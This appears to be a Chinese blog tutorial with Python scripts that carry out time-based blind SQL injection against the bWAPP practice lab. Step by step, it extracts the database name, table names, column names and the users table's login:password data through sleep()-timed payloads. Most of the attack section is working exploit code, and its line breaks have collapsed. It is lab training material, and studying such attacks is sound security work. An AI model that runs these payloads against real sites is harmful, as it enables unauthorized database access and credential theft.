使用python脚本的时间盲注完整步骤

文章目录

  • 一、获取数据库名称长度
  • 二、获取数据库名称
  • 三、获取表名总长度
  • 四、获取表名
  • 五、获取指定表列名总长度
  • 六、获取指定表列名
  • 七、获取指定表指定列的表内数据总长度
  • 八、获取指定表指定列的表内数据

一、获取数据库名称长度

测试环境是bwapp靶场 SQL Injection - Blind - Time-Based
在这里插入图片描述

import requests
import timeHEADER={"Cookie":"BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security=low; PHPSESSID=i79vfbbj4l30k326ckunvitfe5; security_level=0"
}
BASE_URL="http://127.0.0.1:9004/sqli_15.php?"def get_database_name_length(value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(database())={} and sleep(1) -- {}".format(value1, i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)#print(resp.content)if time.time()-start_time>1:print("数据库长度为:{}".format(i))count = ibreakreturn count

执行语句:
databaselen = get_database_name_length(“title”, “&action=search”) + 1
执行结果
在这里插入图片描述
tips:title=,&action=search需要使用burp抓包获得
–两边有空格

二、获取数据库名称

def get_database_name(len, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(2) -- {}".format(value1, i, j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>2:print("{}:{}".format(i,j),chr(j))str+=(chr(j))breakprint("数据库名称为:",str)return str

执行语句:
database = get_database_name(databaselen,“title”, “&action=search”)
执行结果
在这里插入图片描述

三、获取表名总长度

def get_table_name_length(database, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'), 1)) ={} and sleep(1) -- {}".format(value1, database,i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("表名总长度为:{}".format(i))count = ibreakreturn count

执行语句:
tablelen = get_table_name_length(database,“title”, “&action=search”) + 1
执行结果:在这里插入图片描述

四、获取表名

def get_table_name(len,database, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'),{},1))={} and sleep(2) -- {}".format(value1, database, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>2:#print("{}:{}".format(i,j),chr(j))str+=(chr(j))breakprint("{}:".format(i),str)print("表名为:",str)return str

执行语句:
get_table_name(tablelen,database,“title”, “&action=search”)
执行结果:
在这里插入图片描述

,

五、获取指定表列名总长度

def get_column_name_length(database,table, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1)) ={} and sleep(1) -- {}".format(value1, table,database,i, value1)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("列名总长度为:{}".format(i))count = ibreakreturn count

执行语句:
columnlen = get_column_name_length(database, “users”,“title”, “&action=search”) + 1
执行结果:
在这里插入图片描述

六、获取指定表列名

def get_column_name(len,database, table, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1),{},1))={} and sleep(2) -- {}".format(value1, table, database, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER),if time.time()-start_time>2:str+=(chr(j))breakprint("{}:".format(i),str)print("列名为:",str)return str

执行语句:
get_column_name(columnlen, database, “users”,“title”, “&action=search”)
执行结果:
在这里插入图片描述

七、获取指定表指定列的表内数据总长度

def get_data_name_length(table, username, password, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat({}, ':', {}) from {}), 1)) ={} and sleep(1) -- {}".format(value1, username, password, table,i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("列数据总长度为:{}".format(i))count = ibreakreturn count

执行语句:
datalen = get_data_name_length(“users”, “login”, “password”,“title”, “&action=search”) + 1
执行结果:
在这里插入图片描述

八、获取指定表指定列的表内数据

def get_data_name(len, table, username, password, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr((select group_concat({}, ':', {}) from {}),{},1))={} and sleep(2) -- {}".format(value1, username, password, table, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER),if time.time()-start_time>2:str+=(chr(j))breakprint("{}:".format(i),str)print("登录数据为:",str)return str

执行语句:
get_data_name(datalen, “users”, “login”, “password”,“title”, “&action=search”)
执行结果:
在这里插入图片描述我们发现使用这种方法似乎比burp更快更高效,只是从列爆破开始需要自己选表名

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/147178.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RocketMQ Dashboard说解

RocketMQ Dashboard 是 RocketMQ 的管控利器,为用户提供客户端和应用程序的各种事件、性能的统计信息,支持以可视化工具代替 Topic 配置、Broker 管理等命令行操作。 介绍​ 功能概览​ 面板功能运维修改nameserver 地址; 选用 VIPChannel驾驶舱查看 …

树莓集团涉足直播产业园区运营,成都直播产业园区再添黑马

树莓集团涉足成都直播产业园运营领域,这一消息引起了业界的广泛关注。在这个无限可能的直播领域中,树莓集团将与上市公司德商产投紧密合作,立志为成都直播行业的发展注入新的活力。成都天府蜂巢直播产业园推行着一系列创新的政策措施&#xf…

凉鞋的 Godot 笔记 102. 场景与节点的增删改查

在上一篇,我们完成了 Godot 引擎的 Hello World 输出,并且完成了第一个基本循环: 通过这次基本循环的完成,我们获得了一点点的 Godot 使用经验,这非常重要。 有实践经验后再去补充理论 和 先学习理论后去实践相比,前者…

2023年中国纯棉纱行业现状及发展前景分析[图]

棉纱是棉纤维经纺纱工艺加工而成的纱,经合股加工后称为棉线。根据纺纱的不同工艺,可分为普梳纱和精梳纱。精梳纱选用优质原料,成纱中纤维伸直平行、结杂少、光泽好、条干匀、强力高,这类棉纱多用于织造高档。 棉纱分类 资料来源&…

什么样的枕头可以让睡眠更舒适——四个月的反复试验结果

如何提高睡眠质量,我们先从睡眠中的呼吸质量谈起,这里面有大量的数据和记录,我后续会整理我这七八年来积累的所有睡眠质量数据进行分析汇总和处理。 几个月前我在看我的华为手表监控的睡眠数据时看到了关于睡眠中呼吸质量的数据,最…

vue重修004上部

文章目录 版权声明组件的三大组成部分scoped解决样式冲突scoped原理2.代码演示 组件data函数说明演示 组件通信组件关系分类通信解决方案父子通信流程子向父通信代 props详解props校验props&data、单向数据流 小黑记事本(组件版)基础组件结构需求和实…

【Java每日一题】— —第十九题:用二维数组存放九九乘法表,并将其输出。(2023.10.03)

🕸️Hollow,各位小伙伴,今天我们要做的是第十九题。 🎯问题: 用二维数组存放九九乘法表,并将其输出。 测试结果如下: 🎯 答案: System.out.println("九九乘法表如…

为什么炒股人更爱融资?融券交易背后的风险与获利机会

炒股过程中,融资和融券交易是常见的操作方式。然而,据观察,炒股的人更倾向于选择融资交易,而融券交易相对较少。那么,是什么导致了这种偏好呢?本文将解析融资和融券交易的运作机制,以及投资者为…

jira流转issue条目状态transitions的rest实用脚本,issue状态改变调整

官方文档链接地址: POST Transition issue Performs an issue transition and, if the transition has a screen, updates the fields from the transition screen. sortByCategory To update the fields on the transition screen, specify the fields in the fiel…

1.3 互联网的组成

思维导图: 前言: 我的笔记: #### 一、总览 - **互联网的结构**: - 具有全球覆盖和复杂的拓扑结构。 - 即便结构复杂,还是可以从工作方式上简化为两大部分:边缘部分和核心部分。 #### 二、边缘部分 -…

基于R的linkET包qcorrplot可视化Mantel test相关性网络热图分析correlation heatmap

写在前面 需求是对瘤胃宏基因组结果鉴定到的差异菌株与表观指标、瘤胃代谢组、血清代谢组、牛奶代谢组中有差异的部分进行关联分析,效果图如下: 数据准备 逗号分隔的csv格式文件,两个表格,一个是每个样本对应的表观指标数据&…

PyQt5+Qt设计师初探

在上一篇文章中我们搭建好了PyQt5的开发环境,打铁到趁热我们基于搭建好的环境来简单实战一把 一:PyQt5包模块简介 PyQt5包括的主要模块如下。 QtCore模块——涵盖了包的核心的非GUI功能,此模块被用于处理程序中涉及的时间、文件、目录、数…

【CVPR2023】Selective Query Recollection:增强基于查询的目标检测的训练

论文题目:Enhanced Training of Query-Based Object Detection via Selective Query Recollection 代码:https://github.com/Fangyi-Chen/SQR 作者在知乎的导读:https://zhuanlan.zhihu.com/p/610347565 导读 传统目标检测方法需要大量手工处…

非目标代谢组学(untargeted metabolomics)中常用的方法学考察的方法(四)

QC样本的制备: 混合相同体积的所有待检测样本,然后按照与待测样本相同的前处理方法来处理QC样本,之后进样进行LC-MS分析。 样本检测时,通常在检测最开始运行几次QC样本,之后根据样本量的大小在每检测几个样本之后检测…

Codeforces Round 665 (Div. 2) (A-F)

A.Problem - A - Codeforces (1)题意 给你个X轴,初始A点在n这个位置,O在源点0,问你要把B放在哪才能让|AB-BO| k,最小化A需要移动多少次。 (2)思路 直接分情况套路即可。 &#xff0…

springcloud:四、nacos介绍+启动+服务分级存储模型/集群+NacosRule负载均衡

nacos介绍 nacos是阿里巴巴提供的SpringCloud的一个组件,算是eureka的替代品。 nacos启动 安装过程这里不再赘述,相关安装或启动的问题可以见我的另一篇博客: http://t.csdn.cn/tcQ76 单价模式启动命令:进入bin目录&#xff0…

SpringBoot Validation入参校验国际化

在 Spring Boot 中,可以使用 Validation 和国际化来实现对入参的校验。 常用的校验 NotNull验证字段值不能为 nullNotEmpty验证字段值不能为 null 或空字符串NotBlank验证字符串字段值不能为空、null,并且必须至少包含一个非空白字符Size验证字符串、…

【Spring】Spring 创建和使用

Spring 创建和使用 一. 创建 Spring 项目1. 创建⼀个 Maven 项目2. 添加 Spring 框架⽀持3. 添加启动类 二. 存储 Bean 对象1. 创建 Bean2. 将 Bean 注册到容器 三. 获取并使⽤ Bean 对象1. 创建 Spring 上下文2. 获取指定的 Bean 对象3. 使用 Bean Spring 就是⼀个包含了众多⼯…

SNERT预备队招新CTF体验赛-Web(SWCTF)

目录 1、F12 2、robots 3、game1-喂青蛙 4、game 2 - flap bird 5、game 3 - Clash 6、Get&Post 7、sql (1)手工注入 (2)工具注入 8、命令执行漏洞 9、文件上传漏洞 10、文件泄露 11、php反序列化漏洞 12、PHP绕…

Mac安装Ecplise产品报错:dose not contain the JNI_CreateJavaVM symbol

1. 絮絮叨叨 工作中需要借助Ecplise Memory Analyzer (MAT)分析dump文件,直接下载、安装、运行MAT报错 询问同事后,同事说可以先安装Ecplise,再以插件的形式安装MAT下载、安装好Eclipse,点击运行仍然报错,且错误信息一…